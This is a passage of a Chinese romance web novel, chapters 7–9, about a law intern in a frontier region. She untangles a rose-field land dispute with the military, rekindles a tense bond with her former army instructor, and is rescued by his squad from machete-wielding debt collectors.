《甜味沙地》
7. 第 7 章
“怎么是你的教官送你回来呢?”
季沐桉洗澡出来,正面迎上莫佩文涂满黑色清洁泥的脸,只露出一双明亮的大眼睛,眼底下的八卦极其明显。
莫佩文就在希尔顿酒店吃饭,吃完就在酒店附近散步。回到酒店大门时,看到季沐桉从一辆军牌黑色越野车的副驾驶下来。
“打不到车,他顺路捎我出来。”
季沐桉捧着笔记本电脑,双腿盘坐在沙发上,轻描淡写地回答莫佩文。
莫佩文坐过来,追问:“你跟那位教官谈过?”
季沐桉:“没有。”
莫佩文霸道地盖上她的电脑:“你们之间的磁场那么不清白,还没有?”
季沐桉抬头看她。
莫佩文隐隐感受到一股可怕的气场。
刚想逃,季沐桉用不冷不热的语气,问了一个工作上的问题:“韩佳给我的资料上写了十亩玫瑰,你猜实则种植了多少亩?”
根据莫佩文的购物经验,实物远远会比图片小。
“五亩?”
“四十亩!”
“这四十亩的玫瑰已经严重缺水,部分已经烂根了,根本无法吸收水分。我在某度搜了一晚上,都说沙漠玫瑰跟桃树这两种种植物,对土壤、水分、生长适应性完全相反。”
电脑键盘被敲得哐哐响,键帽随时有从键套飞出来的可能,莫佩文摸了摸脑袋,感觉被敲的是自己。
她倒没想那么多:“花都是开完就没的啦,再重新种呗。”
季沐桉:“原本这块地的桃树都死了,极有可能是玫瑰把桃树的水分都抢了,导致桃树缺水而死,桃林里还有几百亩桃树呢。”
“靠,这不得家破人亡。”莫佩文只知道季沐桉要过来跟军方协商,不清楚她过来的具体工作内容:“军方不可能不管吧。”
季沐桉:“管呀。只是委托人不愿意配合罢了。”
莫佩文恍然:“我说陈曼怎么会放过这个出差机会,过来边疆度假呢。原来是丢不起这个人。”
季沐桉把今天的发现整理成报告,发到彭淑媛的邮箱,申请立刻撤案。
同时备注:必要时,律所要站到军方那侧,要求刘燕马上移植所有玫瑰。
彭淑媛同意了季沐桉的申请,让她留在边疆,待全部玫瑰顺利移植,再回南城。
季沐桉把文件整理好,留最后一栏委托人选项未填,发过去问彭淑媛:[委托人填刘燕,还是宋霞?]
她除了要彭淑媛对自己的食言给个说法,还因为具备法律效力的文件不能马虎,更怕被奸诈的商人钻空子,再找律师跟军方谈判,耽误移植时间。
等待回复期间,她又想到林颂年那张神情冷漠的脸、无波无澜的眼神,不由来地烦躁。
他真的一点不好意思都没有的吗?
默默在旁边观察的莫佩文,见季沐桉已经忙完,用笃定的语气说:“你跟你教官绝对不清白。”
出门前还闷闷不乐,出去一趟回来,面上瞧着神清气爽,却整个人都异常烦躁。
季沐桉耶,那张美艳高冷脸,永远都是冷冷淡淡的。
连在商场厮杀一生、半只脚迈进棺材、看淡生死的集团老总,都被韩佳那个蠢女人气到血压飚到180,季沐桉还能笑眯眯地喊韩佳,“乖,点杯核桃露喝喝,我请你。”
什么时候这么躁过,更从来未露出过这副小女人生气的模样。
还气得甩完门耶。
要不是她的出现,说不定还会踹轮胎一脚,甚至指着黑色越野车上顶级帅气的“司机”骂几句。
她就不该露脸的,应该躲在暗处观察。
也懂了,季沐桉这些年谁都看不上的原因——
虽然她没太看清那位“司机”的样子,但他的气场就跟季沐桉般配得不行。
光品空气,就能想象到是一个相貌非凡的大帅哥。
季沐桉的手机震了震,连忙点开信息,发来信息的却只是前来找茬的韩佳。
韩佳:[指甲盖有泥的军官厉害呀!搞定你调转枪头砰掉刘燕。]
林颂年的指甲盖比你的脸还干净!
韩佳都知道要撤案了?那为什么彭淑媛还没回复她?
季沐桉准备给彭淑媛电话,韩佳又发来一句:[曹鑫说,移植玫瑰对他来说,无伤大雅,别讹他钱就行啦,最近曹鑫挺穷的。]
句句不离曹鑫,字字都替曹鑫说话。
现在曹鑫跟陈曼在翻云覆海,正行着鱼水之欢呢。你还在为他着想什么?
顿时,季沐桉以己度人,怼醒韩佳:[他会为我拼命!你按这个标准找到再来跟我吵架吧。]
在一旁的莫佩文偷看到这条信息,激动不已:“快!说出你们的故事!”
季沐桉一本正经地解释:“教官是中国军人,我是中国人,难道不是每分每秒都在为我拼命吗?”
法学生就是法学生。反应神速,牙尖嘴利。
莫佩文:“那你躁什么?”
季沐桉抬头,看着她说:“他明明有刘常湖的联系方式,就是不给我。我还要对他笑,能不躁?”
莫佩文拿化妆棉擦掉脸上的涂抹面膜:“能,但季沐桉从来不会这么躁。所以,你很反常。莫不是,这位教官对你做了什么过分的事?”
季沐桉起身拉她:“走,我们下楼跑步,跑到把我内心的躁意吐出来,再好好回答你,他对我做了什么过分事。”
莫佩文:“......”
他们班被罚这件事闹挺大的。
听说校长扛不住压力,给教官跪下了,但无用。
不过,当时教官的回答成为南城大学法学院的标语——
「法学生要有法学生的觉悟。」
回想对视上“司机”眼神的那一瞬间,莫佩文感觉整个后背都在发凉的错觉。
走廊传来几个孩子此起彼伏的哭声,季沐桉戴上耳机,租了一辆越野车,打算明天到桃林,挨个职工、挨家挨户找刘常湖。
\
天际边泛着鱼肚白,部队的起床号响起,新的一天又开始了。
刘指导整理好内务,出门就碰见林颂年。
林颂年朝他敬了一个标准的军礼:“刘指导,我来找你拿一下刘常湖的联系方式。”
刘指导本要赶在林颂年出去训练前,找他商量一件事,现在反被他堵在门口,大脑一时没反应过来。
“哪个刘常湖?”
“那块玫瑰地的所有权人。”
“哦!”
刘指导恍然地拍了一下脑袋:“我没有他的联系方式呀。”
林颂年单手扣腰,一手撑在走廊的护墙上:“那你怎么通知别人移植玫瑰?”
“通知刘燕呀。”
“你一直没找到刘常湖?”
刘指导:“......”
林颂年语气加重:“你没去找了?”
刘指导:“......”
起初,他们是要通知刘常湖的。
刘燕拿钱和烟酒,跑到部队大门堵林颂年和刘指导,被林颂年直接轰走。被林颂年一吼,刘燕吓得屁滚尿流地滚着走,连车钥匙掉在地上,都等林颂年离开,才敢回头捡。
正好上头也通过申请,刘指导把正式的通知文件给刘燕,要求他们月底前把全部玫瑰移植走。
刘燕那群人当即就开始传,林颂年狮子大开口,想要他们整片桃林。林颂年懒得跟他们计较。哪知前天有律师联系他,说代表刘燕来跟林长官协商保留玫瑰园一事,还有检察院的人因这件事联系上他。
刘指导挠了挠脑袋,有点儿烦恼:“这些玫瑰他们想不想移,都得移,可不能让你出事。被告贪污可大可小的。”
林颂年会被诬蔑贪污,起因是他在村子巡逻时,帮独守老人补屋顶、修篱笆。
刘燕又偷偷以林颂年的名义,给老人家送了补品。没有拿到补品的人在刘燕的怂恿下,跟着骂林颂年。这话传到饭堂阿姨耳里,他们才知道此事。
林颂年知道时,就估算补品的总价,把钱一并还给了刘燕。
这一幕被桃林的职工拍了下来,照片又没有声音,给了刘燕瞎编乱造写“小作文”的空间。
人心难测,人言可畏呀。
林颂年语气很淡:“谁说我被告贪污了。”
“欸?”刘指导思考了两秒:“那他们请律师干嘛?”
林颂年扯着唇
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角冷笑一声:“不是有律师跟你联系了吗?你去问问。”
刘指导点头:“等她来部队再问问吧。”
林颂年屈起一边膝盖抵在墙上,懒洋洋地靠在墙上:“她什么时候过来?”
这么一说,刘指导又直摇头:“什么人请什么样的律师。本来说好前天过来协商的,前晚临时改到昨天下午,昨天中午又说换了一个律师过来,这个律师更有本事,直接取消见面,你说她什么意思?”
林颂年漫不经心地说:“我怎么知道。”
刘指导掏出手机:“我现在就亲自约她见上一面,看请了多厉害的律师,敢跟军人磨心理战。”
刚解锁手机屏幕,就收到一个陌生电话发来的信息:[你好,涉军土地纠纷案的回执已发邮箱,请查收。]
\
打开邮箱,点开回执。
刘指导念出内容:“经我方律师核实,本案当事人诉求无事实依据,律所决定撤案......”
除去回执外,还有一份附有清晰配图的玫瑰地用地情况报告,可证明刘燕非法使用土地,严重威胁附近桃树,破坏生态平衡。以及一份关于如果刘燕不配合移植玫瑰,律所可免费出面协调处理的法律援助文件。
刘指导直夸:“看来刘燕是花钱了,请到一名好律师。”
林颂年挑眉:“刚刚你还说别人不好的。”
刘指导把三份报告都打印出来,看着回执公章上的签名:“我没说这位季沐桉季律师不好呀!之前跟我交接的是......”他翻开其他文件:“陈曼陈律师。”
他说出“季沐桉”三个字时,林颂年已经拿过回执看,「季沐桉」三个字,用遒劲有力的行楷写在纸上,又拿过打印出来的报告。
看上面的图片,玫瑰地刚浇了水,泥泞难行。
难怪身上都是湿的,还一鞋泥。
再看邮件的发送时间,凌晨四点半。
半夜起来赶飞机发的文件?
昨天她一上车,地址都没说就睡着了,醒来发现被他带回部队,而非市区哪家饭店,满脸惆怅。
他只能毫不客气地揭穿她“谁要某人上车就睡了”,她就解释说早上四点半起来赶飞机,一路怕坐错车都没敢闭眼,结果,唉......她叹了好大一口气,说好饿,想吃烤全羊。
昨天律所传真过来几份文件,刘指导找到那个文件袋,又看了一眼文件:“季沐桉这孩子还只是一名实习生,看事情就看那么通透,注定当大律师的料,前途无量。要是她早点来就好了,现在也没关系,结局是好的就行。”
刘指导说这话时,一束阳光倾泻进办公室,林颂年被照得有些恍惚,没听见刘指导连续喊他几遍:“把文件给我。”
直到刘指导用文件袋打了他一下,林颂年才回过神。
“昨晚没睡好吗?大清早就闹觉了。”
林颂年手拢拳,抵着眉心搓了搓:“昨晚外出时,在主路发现一块指去「市区」的非法指示牌,进去后发现他们设了“陷阱”讹外来人口。我昨晚已经跟当地交通局联系,证实是村落私自设置的路牌,我现在带队过去调查情况,你联系一下派出所,看这个村落最近还有没有旅客被勒索、失窃或者有人口失踪的报案。顺便追问一下,找到刘常湖的联系方式和居住地址的信息没。”
刘指导搂过林颂年的肩头,笑道:“好,我这就去办。”
林颂年轻而缓地点了下头,见刘指导没有松开他的意思:“还有事?”
“今天能搞定的话,晚上一块到希尔顿酒店吃饭吧。甘队说了,我们这些牛高马大、看起来凶神恶煞的,必须要过去撑场面,不能让老顾三更半夜起来,都偷偷抹眼泪,怕女儿被欺负了。”
刘指导举手发誓:“绝不是要给你安排相亲。”
他口中的“甘队”,就是甘景和。
甘队兵满天下,催婚无孔不入。
林颂年舌尖抵着后牙:“几点结束?”
刘指导一喜:“载歌载舞到天亮。”
林颂年轻而缓地点了下头:“记住你的保证。”
“没问题!欸,不对。”刘指导后知后觉:“都结案了。你要刘常湖的联系方式干嘛?”
8. 第 8 章(微修。)
“看看派出所那群人有没有干活。”
林颂年坐到沙发上,两条长腿敞着,军靴抵着茶几的桌脚,神情却严厉。
桃林附近有所小学。
正值暑假,学生们到桃林做暑假工,有时候一忙就错过班车,林颂年就送他们回家,但这帮孩子个个都说不出具体地址,难免怀疑被拐卖了。
边疆临近国界线,时常发生这些事。
到派出所一查,发现是根本没有门牌信息,便向上头申请,尽快完成桃林附近村庄的全部人口普查工作。
这边大事小事统统归派出所管,工作自然落到派出所手上。
正因为派出所什么都要管,工作量大,他们会挑活干。
派出所和部队各自为政,关键时刻联合办案的情况常有,但派出所那位新上任的陈警官因林颂年抢了他的风头,喜欢跟部队对着干。
“好好好,我现在就问。没有的话,直接到派出所一趟,守着他们干活。”
唉,不怪他护短。
刘指导真想端盆水给陈警官照照,样子长得没林颂年帅气、做事又没人家利索上心。
换他,也天天找林颂年办事。
何况桃林那群想找好女婿的妇女和想嫁好人家的美女呢。
想着,刘指导不禁替林颂年操心起他的终身大事,这孩子,到底喜欢怎么样的姑娘呢?
顾着为林颂年操心,却错过他眸底闪过的那丝心虚。
\
对于没打招呼就安排季沐桉处理宋霞案件这件事,彭淑媛说不是她安排的。
具体情况,等见面再跟她解释。
彭淑媛处理着一宗紧急案件,忙得不可开交,百忙之中通知韩佳第二天回律所帮她盖公章。
韩佳因此知道撤案的事。
季沐桉知道真相后,诚意满满地跟韩佳道歉,做好被她坑一顿豪华西餐或者昂贵美容体验的准备。
却等到韩佳凌晨三点喊她起床,确认文件。不过季沐桉也没睡,隔壁房的孩子还在哭闹。
借下楼打印文件,躲过孩子的哭闹,却没躲过韩佳的审问。
她问“穷酸军官”的身高、体重、穿衣风格、家庭环境......一问就问到同楼层的大叔大妈起床看日出,在门口等集合时,商量着去隔壁买杯醇厚丝滑的热奶茶、香软油润的油塔子,带着去看日出。
这一问,她发现自己对林颂年的身高都是模糊的。
只能估摸说出一米八多的样子。其余一窍不通,却约好了许多一起做的事情。
比如,她来边疆找他,他带她上山看日出。
眼皮沉沉往下掉时,季沐桉满脑子都在想,林颂年明明隶属南城军区,她为什么要来边疆找他呢?
现在她来了,林颂年还会信守承诺,带她去看吗?
思绪浮浮沉沉,意识迷迷糊糊。
脑袋像被块大石压住,沉得撑不开眼睛。
一道白光闪过,她来到林颂年的婚礼现场,搂着他狂亲,说她知错了,求他别不要自己。
什么鬼?知什么错?!
现在是她不要林颂年了!!!
她倏地睁开眼,原来是梦呀!
但双颊传来火辣辣的刺痛感,仿佛在提醒她:林颂年从来没说要你。你们之间,从来主动的都是你。
季沐桉盯着天花板好半天,开始怀疑自己在拍电视剧了,否则无法反驳这板子钉钉的事实——怎么就到了林颂年的部队呢?还当着他的面,说要登门给他睡?
真希望那层车窗玻璃是超隔音的,让林颂年跟聋了一样,什么都听不见。
昨天季沐桉在“雨”中拍照,有点感冒。
她决定带多一件衣服出门,把东西换到帆布包,发现林颂年的帽子还在自己的包里。
今天顺路送回去?
算了,能不见就不见吧。
啧......脸好疼。
她往脸上敷了一层厚厚的芦荟胶,把整罐芦荟胶塞进帆布包。
酒店包含两份自助早餐。吃完早餐,季沐桉到洗手间补了防晒,出来看到大堂经理拉住莫佩文说话。莫佩文忙摆手,拉着季沐桉离开。
“经理找你干嘛?”
莫佩文从相机包里掏出相机,检查有没有遗漏内存卡和电池:“问我要不要做兼职,我来边疆不出去看滔滔黄沙、壮观美丽的日落,搁这迎宾?咱缺这点钱吗?”
话落,一批旅客分别从两辆旅游大巴下来。
季沐桉和旅行团中的某位旅客对上眼神:“梨?”
陆淳梨看到季沐桉十分激动,拉着行李箱就跑过来:“沐桉,你怎么在这?”
“出差。你呢?”
陆淳梨先叹了一口气,而后一脸苦恼地挽住季沐桉的手臂诉苦。
今晚希尔顿酒店的晚宴,本是陆淳梨父亲的老战友嫁女儿的喜宴。老战友想借着办喜事的机会,邀老战友们到边疆聚一聚。男方是搬迁过来的知青家庭,没有摆宴的打算,觉得边疆婚礼太闹腾,费力又费钱,坚决不举办婚宴。男方不愿意办,女主就自己办。
想聚是一回事,更重要的是让男家知道,新娘的娘家有多硬,别想欺负这个儿媳妇。
这事被陆淳梨父亲这群老兵知道后,当即一呼百应,还要有多隆重就办多隆重。她父亲是文工团的领导,独揽歌舞表演的重任,但她母亲带文工团到北部巡演还没结束,便临时让陆淳梨接手操办。本来都打点好一切,早上在机场,被负责压轴表演的舞蹈演员鸽掉了。
压轴表演是陆淳梨不擅长的民族舞。
季沐桉用手比着莫佩文,跟陆淳梨介绍:“这就是我跟你说,跳民族舞跳得很不错的好朋友兼舍友,莫佩文。”
“陆淳梨,我在北城认识的好朋友,在中央民族大学读编导专业的大三学生。”
介绍完,季沐桉接到「臭教官」的电话。
莫佩文一看,眼睛都亮了。
季沐桉把她推到陆淳梨那:“你们迅速沟通一下吧。”她走到一边接电话:“喂,干嘛?”
林颂年:“你有刘常湖的联系方式吗?”
季沐桉有点懵,看了一眼手机屏幕:“你问我要刘常湖的联系方式?”
“对。”
“我没有。”
林颂年嗤笑了一声:“你没有?那你怎么跟对方沟通?”
这句话熟悉得,季沐桉只想大骂:
无聊。
无聊。
无聊。
她有点气:“爱信不信!我真的没有刘常湖的联系方式,正准备到李家湾那边找人呢。”
说完就挂断电话。
季沐桉见她们沟通得还算顺利:“那佩文留下来帮忙吧,我自己去找人就行了。”
莫佩文露出“除非你承认你想跟你教官二人世界”的表情:“不行,这边治安不好,我跟你一块去吧。”
季沐桉模仿她阴阳怪气的语气,回她一句:“为我们拼过命的老兵需要我们的时候,我们却没有伸出援手,你能心安理得,我可不好意思享受教官为我拼命的“福利”了。”
莫佩文无奈地扯了扯唇角,朝她竖起一个大拇指:“你直接骂我得了。”
“我只是以事论事。”
季沐桉扎起高马尾,漂亮脸蛋有红彤彤的晒伤痕迹,微微撅起的嘴巴,像在说:你不听我的,我就跟你干到底。
莫佩文认识她三年,只有碰上她那位神秘的教官才会有的新鲜灵动,但怎么问都不肯说,将她的好奇心勾得够够的。
“你小心点,说不定今晚你教官也要过来吃饭,我到时候问他。”
季沐桉一脸坦荡荡:“来就来呗。”
说完,就朝她挥了挥手,去酒店旁边的租车行拿车。
莫佩文看着季沐桉不见一丝破绽的背影,真想大声问:那你教官叫什么名字呀!
\
毒辣日光里,路中央忽然横过一个跟昨晚一样的“陷阱”。
季沐桉想起租车行老板说,最近不少游客自驾都遇到“补胎”刺客,车行特意给每辆车都备了备胎。
这个地址是刘燕身份证上的地址。本打算过来碰一碰运气,没想到运气竟“好”得离谱,直接闯进了“狼”窝。
季沐桉自认是连轮胎都不会补的马路杀手,索性放弃开车,下车步行过去。
沿着道路走了一段路,突然听见远处飘来一阵带着哭腔的颤抖本地话,像是回音。
季沐桉凝神细辨,确认是求救声后,立刻拨打110。
“喂,警察同志,你好!我现在在李家湾靠近310国道附近,听见有类似妇女的求救声。因为是方言,加上刚刚我在前
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面碰到行车“陷阱”,怕被讹,暂时没有前往确认。你先听听,这声音是在求救吗?”
随即按了扬声器,将手机举向求救声传来的方向,为了接警员能清晰听见,还特意踩上旁边一块石头,踮着脚往高处站。
“女士,我这边也听见了求救声,我再跟你确认一遍位置,李家湾靠近国道310的位置,对吗?附近有没有明显的标志物?”
季沐桉环视四周:“我正面大概三点钟的方向有一排房屋,最显眼的房屋外墙是橙色的,但没法精准预估距离,初步预测有500米......”
她话说到一半,听见接警员旁边传来一道低沉厚重的男声问:“李家湾的报案?”
“对。”
“给我。”刘指导接过电话:“你好,我是边疆军区的刘指导,请问怎么称呼你呢?”
季沐桉看了眼手机屏幕,确认拨打了110:“我记得部队跟派出所不是同一个地方呢。”
刘指导:“现在不是纠结这个的时候,你在哪条路拐进李家湾听见的求救声?”
“我从希尔顿酒店出发,如果没记错,我是途径国道310拐进的李家湾。左手边山头上有一片结着橙色果实的果树,因为没有详细地址,我导航到李家湾里的「李婆点心铺」,面前这条路,目测是通往那排房子的路。现在求救声离我当前位置大概还有段距离。”
她条理清晰地跟刘指导陈述关键信息,感觉没有补充,便说:“我可以前往求救声源处,帮你们确认准确位置。”
刘指导连忙阻止:“不用,你原地等待就行。林队长正在李家湾巡逻,我让他马上联系你。”
什么?
一慌神,季沐桉从石头上摔了下来。
手心和膝盖磕得生疼,妇女越来越虚弱的求救声突然来了一声惨叫。顾不上疼,捡起帆布包掉出来的物品和手机,芦荟胶的盖子摔开了,洒得满地都是。
回来再处理吧。
她抬手扶了扶滑落的墨镜,压低帽檐,没半分迟疑,转身就往林子深处跑去。
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林颂年到村落巡逻时,碰见有两位老人家拉着他说,自家孙子跟刘燕合作做生意,一不留神被刘燕骗了,现在孙子连家都不回,到刘常湖岳母家找孙子。
在老人家的带领下,林颂年来到刘常湖岳母李婆家。
李婆看到林颂年,跟见到救命稻草似的。家里突然不见了两个大活人,老人家慌得说话说得磕磕巴巴,把事情的来龙去脉说得稀碎。
林颂年听得一头雾水,找刘指导要刘常湖的联系方式,确认是否真的失踪,再好好了解情况。
刘指导打电话到派出所,说派出所忙着钓鱼呢,哪有刘常湖的电话。
急中生智,他找季沐桉要。
理由都准备好了,她一句没有,啪地挂断了。
语气跟他闲着找她麻烦似的。
等会见面……再好好解释吧。
林颂年让队里的小子先到附近找找,没过多久小黑就打听回消息——
刘常湖两口子借了高利贷不还,财务公司请了一群人正逐家逐户地搜他们。
他刚准备去把高利贷派来的人控制住,就接到刘指导的电话。
“林颂年,有人报警了。在李家湾310国道附近听见一名妇女的求救声,我把她的手机号发给你,你马上过去跟人汇合,看看怎么一回事。”
林颂年点开刘指导发过来的手机号码,一眼就认出季沐桉的电话?
艹!
她的运气这么好吗?
按了拨打,无人接听。
他再次拨打过去,拿过地图问李婆:“这边过去310国道有几条路?”
“两条。一条水泥路,一路山路。”
“都怎么走?”
\
放眼看去,整片林子不是橙色的果实,就是带刺的树干。
季沐桉弯腰躲过树干,侧耳辨声,妇女的声音已经不见了,晕过去了?
怎么还没有接到巡逻队的电话?
掏出手机时,看到手机屏幕刚暗下去,锁屏显示:「臭教官」来电十二个。
心口蓦地一凉,她刚刚听见的,真是林队长?这个林队长又正好是林颂年?
这个巧合让季沐桉默默掐了自己的大腿一下......疼。
9. 第 9 章
连忙回拨回去,电话在一瞬间就被接通。
林颂年轻轻吁了口气,嗓音依旧沉稳,却掩不住一丝不易察觉的火气。
“你现在在哪?橙色的越野车是不是你的?”
“是的。”
季沐桉余光瞟见左前方有两只羽毛黑色的鸡跳出来,不远处有棵果树的果实突然“哗哗”落下,夹着树杆被敲打的“笃笃”声,循声走去。
“我好像找到了。”
“你的位置。”
“你们有看到一罐摔在地上的芦荟胶吗?我在那块石头后面的小路走进来的,一路直走,现在在一片全是橙色果实的树丛里,但我只在这看到过乌鸡。”
越过果树,季沐桉被眼前这一幕吓怔在原地——
妇女怀里竟躺着一个额头淌满鲜血、昏迷不醒的大爷。妇女瘫坐在烈日下,满头大汗,体力早已经透支,神智开始渐渐模糊。
“教官,我找到他们了!你快点!有个大叔受伤了。”
季沐桉急着跑过去,没留意到脚下的情况,一脚踩在先前被震落、滚到小径上的橙色果实上,鞋底瞬间打滑,整个人控制不住地往前扑,狠狠摔了一跤,不偏不倚砸在妇女身旁,手掌还恰好插进了带刺的树干里。
“啊——”
季沐桉疼得猛地缩了缩手。
“季沐桉!你怎么了?摔了?”
电话那边传来轻捷的蹬踏和压低的落地闷响,季沐桉能想象到林颂年凌空翻越过果树的画面,还有其他队员紧跟其后,腾跃、翻滚的动静,没有伤到职工辛苦栽种的果树。
通讯里还传来队员的声音,说在航拍里看到很多人往她这边跑,但季沐桉半点没慌。
反而林颂年的语气混着风声,被紧张压得沉了几分:“季沐桉,别再乱跑了,待在原地等我。”
“好。”
季沐桉拔掉插进掌心的尖刺,鲜血瞬间从伤口渗了出来,从包里拿出纸巾,压住伤口。
又拿出一瓶葡萄适,递给妇女:“你先补充一下体力。”
妇女拿过葡萄适,犹豫几秒,决定先给大爷喝。
季沐桉阻止道:“他暂时不能喝。”
她把太阳帽和墨镜递给妇女,将大爷侧卧在地,确认还有呼吸后,把帆布包里的东西都倒出来。
碘伏、紫苏水、云南白药粉、酒精棉片、红花油、棉签、感冒药......
明明只是去买感冒药,莫名其妙拿了一堆处理伤口的药。
来趟边疆,她都有预知能力?
季沐桉抬手擦了擦脸上的汗,从一堆治伤口的药品里翻出纱布,准备先给大爷止住额头上还在渗血的伤口。
妇女突然惊慌大叫,推着季沐桉:“快跑,快跑。”
季沐桉抬头,就看见有几个戴着黑色面罩,眼露红血丝的男人拿着柴刀,冲着他们跑来。
她随手抄起旁边的粗树枝,通过地上的影子,看到身后有一个人正悄无声息地朝她袭来,当即挥枝砸去。
对方硬生生地挨了一下,只低低吐出一个字:“我!”
话落,一件混着干净安神木质檀香的作训服正面罩住了她的脑袋,视线陷入昏暗几秒后,“哐、哐、哐”的连续柴刀落地声,连带着痛苦嚎叫声响起,妇女的慌叫骤然停了。
季沐桉急得扯下外套,正好撞见一名歹徒举起柴刀,朝林颂年的胸口劈去。
她惊得踉跄起身,嘶吼出声:“小心——”
林颂年一记直拳狠狠砸在歹徒面门,对方瞬间闭眼,定在半空中的柴刀被他以掩耳不及迅雷的方式夺走,指着从四面八方袭来的歹徒,厉声道:
“全部给我蹲下!”
全部歹徒乖乖抱头蹲下。
季沐桉冲过去护他的动作戛然停在原地,脑子里瞬间冒出一个问号。
她真得闻到血腥味,整蛊节目的效果没这么真,只能说明眼前这批人只是贪生怕死、弱不禁风的小喽喽,而非亡命之徒。
不然也不会被林颂年几秒就制服,还被他一声低喝就乖乖听令。
旁边的小黑传来悠悠一声:“多亏嫂子在,不然他们都得废......哇靠,嫂子,你的脸怎么流了那么多血?”
季沐桉下意识捂住脸,摸到地上的防晒粉饼,打开镜面一照,被自己脸上的阵仗吓到了。红色的鲜血像油彩似的,糊了她满脸都是,跟只花脸猫似的。
她第一反应是大爷的血,但她都还没碰到大爷呢。
小黑拿棉签蘸了点酒精,递给她:“嫂子,拿这个擦,别感染了。”
一群战士各自提着被制服的歹徒从草丛里走出来,林颂年问着为首歹徒话。
季沐桉匆匆扫了一眼,便背过身,借着粉饼的镜面整理仪容。额头有几颗汗珠流下来,血痂被浸开,一搓就掉了。最后用湿纸巾把脸擦干净。
经过一阵暴晒,她脸上的晒伤又变红了,可芦荟胶打翻了。
林颂年指挥完工作,过来看着她红得异常的脸,冷淡地移开目光:“小黑,你下去带医护人员上来。”
“是。”小黑已经帮大爷止住额头的血,他没马上走,有点纠结地看着大爷。
季沐桉看出他的用意:“还是让医护人员来吧。你背着大爷翻转跳跃,小问题都变大问题。”
小黑嘿嘿笑了两声:“想着快点嘛!”
说完就跑了。
妇女问季沐桉:“丫头,怎么称呼你?”
林颂年撤一边腿在季沐桉面前蹲下来,握住她两边手腕检查起她的伤口:“她是刘燕委托过来处理玫瑰地的律师。”
说着,他将季沐桉的手伸到在阳光外,把整瓶过氧化氢溶液倒到她的手心,又顺带朝旁抬了抬下巴补充:“这是刘常湖的老婆,李玲。这位大爷就是刘常湖。”
季沐桉疼得手不断往外抽,却被林颂年牢牢攥住。
他用身体替她挡住烈日。季沐桉看见逆光中的他眉头紧蹙,掀开眼皮睨她:“在下面也摔了?”
手心到手肘处有水泥地的擦伤,掌根还有树刺留下的扎伤。
林颂年握她时,不得不翘起食指和拇指,三指紧圈住她为数不多无伤的肌肤。
此时,他的眼神和肌肤传递过来的温度一样,滚烫无比,呼吸都厚重几分。
这股滚烫无关情欲,仅仅是生气了。
是在不动声色的生气。
季沐桉老实承认:“嗯,手机在那时不小心摔静音了。”
她别过头,正好对上李玲眸底闪过的那丝厌恶,伤口滋滋冒着白泡,疼得钻心,反倒压过了心底那股委屈了。
林颂年拿棉签卷掉冒出来泡沫,动作轻柔:“笨,解释呀。”
季沐桉一怔,感受到自己炽热无比“咚、咚、咚”的心跳,一下比一下重。
她喉咙发紧:“我不是解释了吗?”
林颂年冷硬的指骨扣着她的手,锐利的眼神直视着她,嘴角抿成没有一丝弧度的直线,姿态肃然地蹲在她面前,可那眼神深处,却藏着对她全然的信任。
“代表军方,跟李玲说玫瑰地的事。”
药粉撒落到伤口上时,季沐桉感觉心底枯萎的种子被软软的风吹过,又像子弹打穿,心跳被林队长不费吹灰之力弄得弹起将军令。
她咽了咽口水,压下内心的兵荒马乱,想了几秒,委婉问:“你知道我撤案了?”
“嗯,不是免费代表我们办事吗。”
这么说,季沐桉就不客气了,任由他帮忙处理伤口。
她看向李玲说:“首先,我还不是律师,只是律所的实习生,受陈律师的委托过来了解案件。我们已经撤案,不再代表刘燕跟军方协商,今天我过来是想找刘常湖,跟他了解是否知情这个情况。”
林颂年在自己膝盖铺开一块纱布,把她的手搭在那,唇角勾出一个漫不经心的笑容,像在“夸”她,难得聪明一回。
“晾一下。”
说着又扯过她另一只手检查、消毒、上药。
李玲立刻接话:“我们根本不知道刘燕拿这块地来做什么了。去年她爸摔到腰,我要照顾她爸,又得兼顾我妈,就想把那块地租出去。刘燕对象就说租给他,他拿来种玫瑰,跟网上一样,弄成打卡点,赚外地游客的生意。”
“等等。”
季沐桉打断她的话,在草地摸到笔记本,没摸到笔,想抽回自己的手时,林颂年先一步放开自己的手,心口蓦地一空。
林颂年走到被绑起的歹徒脚边捡起圆珠笔,递给季沐桉时,没忍住:“笔都摔那,翻跟斗摔的?”
季沐桉:“......”
她包的东西明明是倒出来的。
李玲解释:“她想冲过去救你时踹的。”
这比说她摔过去的要丢脸。
林颂年重新蹲下,拽过季沐桉还没消毒完的左手,轻描淡写地点了下自己的大腿——原本季沐桉晾手的位置。
放在那的话,就不需要一只手压着本子。
更就手了。
季沐桉不再
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废话,往前挪到“林颂年”书桌前,双膝夹在林颂年的腿上,微靠着:“你可以继续说了。”
李玲:“她爸见她对象不像老实人,说不租。她对象又说,他认识不少旅游社,可以跟他们合作,来我们这打卡送桃子。桃子树拍照不好看,但好吃呀。想到能带富整个桃林全部人家,我就私下答应了。我又不懂种植,就借了一笔钱,让刘燕和她对象忙活。老刘的腰好了就闲不住,喊我通知租户,明年就不租了。但我借的钱要还呢,都不弄的话,等着喝西北风吗?本来事就多,昨晚刘燕还拿了一份合同过来,让我们把那块地卖给她,老刘不肯,刘燕就派人守着我们。今天老刘非要去地里看看,就......出事了。”
说着,她揉着太阳穴,茫然呢喃:“现在可怎么办?”
季沐桉记下关键信息,觉得哪里不对:“所以,你和刘常湖由始至终都不知道军方要求移植玫瑰?”
李玲的脑子怕是被砸坏了,看着下一秒都要晕过去,却又忽然愕然地问:“那些玫瑰好好的,为什么要移植?”
表演痕迹明显得不想揭穿她。
季沐桉最厌跟流氓扯皮条,合上手上的本子,沉声道:“建议你们尽快跟军方合作,早日把全部玫瑰移植。军方会让承包商过来,对这十亩地进行治理,给你们提供适合的树苗。不过这方案还不算最终版,需要你这边同意移植十亩玫瑰,我再跟军方好好协商。”
林颂年一听,轻挑眉头,嘴角微微一勾。
李玲:“我们种了整整四十亩玫瑰呀!哪里是十亩。”
季沐桉:“怎么可能?资料上白纸黑字标明,你们登记备案只有十亩玫瑰种植地。”
小黑带着医护人员回来,医护人员把刘常湖放到担架检查时,刘常湖一直有意识的,也有膝跳反应,感觉他想睁开眼睛,但始终无法睁开,满脸痛苦。
李玲推开医护人员,去拽刘常湖:“你快起来,告诉他们,你有三十亩地。”
医护人员连忙拉开李玲。
小黑拦住李玲,大声冲她:“那也差十亩呀!”
李玲也大声:“那是我租的,整整四十亩。”
